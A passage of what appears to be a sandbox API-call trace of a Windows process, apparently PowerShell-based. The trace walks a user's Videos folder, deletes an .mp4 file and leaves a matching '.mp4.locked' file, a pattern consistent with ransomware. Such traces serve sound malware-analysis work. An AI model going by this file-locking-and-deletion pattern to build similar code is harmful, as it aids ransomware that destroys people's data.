nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x69aeac0*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0138.625] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4", lpFilePart=0x0) returned 0x60 [0138.625] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.625] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.626] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6b, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.626] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.628] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\pxy_oqq9tnpnfbr.mp4")) returned 0x20 [0138.628] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4", lpFilePart=0x0) returned 0x60 [0138.628] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0138.629] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0138.629] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0138.629] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0138.629] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0138.629] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0138.629] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0138.629] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0138.629] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0138.629] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0138.629] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0138.629] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0138.629] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0138.630] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos" (normalized: "c:\\users\\ciihmnxmn6ps\\videos")) returned 0x11 [0138.630] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpFilePart=0x0) returned 0x1c [0138.630] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpFilePart=0x0) returned 0x1c [0138.630] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv")) returned 0x10 [0138.630] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv")) returned 0x10 [0138.630] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv", lpFilePart=0x0) returned 0x2f [0138.630] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv", lpFilePart=0x0) returned 0x2f [0138.630] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by")) returned 0x10 [0138.630] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by")) returned 0x10 [0138.630] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By", lpFilePart=0x0) returned 0x3a [0138.630] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By", lpFilePart=0x0) returned 0x3a [0138.630] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e")) returned 0x10 [0138.631] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e")) returned 0x10 [0138.631] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e", lpFilePart=0x0) returned 0x4c [0138.631] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e", lpFilePart=0x0) returned 0x4c [0138.631] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\pxy_oqq9tnpnfbr.mp4")) returned 0x20 [0138.631] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4", lpFilePart=0x0) returned 0x60 [0138.631] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4", lpFilePart=0x0) returned 0x60 [0138.631] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4", lpFilePart=0x0) returned 0x60 [0138.631] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0138.631] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4", lpFilePart=0x0) returned 0x60 [0138.632] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4\\", lpFilePart=0x0) returned 0x61 [0138.632] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0138.632] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0138.632] CoTaskMemAlloc (cb=0x404) returned 0x8eb8d30 [0138.632] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8d30, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0138.632] CoTaskMemFree (pv=0x8eb8d30) [0138.633] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\pxy_oqq9tnpnfbr.mp4")) returned 0x20 [0138.634] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4", lpFilePart=0x0) returned 0x60 [0138.634] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4", lpFilePart=0x0) returned 0x60 [0138.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0138.634] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\pxy_oqq9tnpnfbr.mp4"), fInfoLevelId=0x0, lpFileInformation=0x69ef994 | out: lpFileInformation=0x69ef994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75c48330, ftCreationTime.dwHighDateTime=0x1d4a767, ftLastAccessTime.dwLowDateTime=0x1a2a95d0, ftLastAccessTime.dwHighDateTime=0x1d4a985, ftLastWriteTime.dwLowDateTime=0x1a2a95d0, ftLastWriteTime.dwHighDateTime=0x1d4a985, nFileSizeHigh=0x0, nFileSizeLow=0xb371)) returned 1 [0138.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0138.634] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\pxy_oqq9tnpnfbr.mp4")) returned 1 [0138.636] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.636] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.636] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.636] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6c, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.637] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.638] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\pxy_oqq9tnpnfbr.mp4.locked")) returned 0x20 [0138.639] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\pxy_oqq9tnpnfbr.mp4.locked")) returned 0x20 [0138.639] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4.locked", lpFilePart=0x0) returned 0x67 [0138.639] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4.locked", lpFilePart=0x0) returned 0x67 [0138.639] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.639] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\PXy_oqq9tNpNFBr.mp4", lpFilePart=0x0) returned 0x60 [0138.640] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.640] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.640] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6d, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.640] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.642] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.642] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.642] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.642] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6e, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.642] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.644] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.644] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0138.644] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x70, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.644] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6f, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0138.644] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x70, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x70, [1]=0x1c, [2]=0x30, [3]=0x4a, 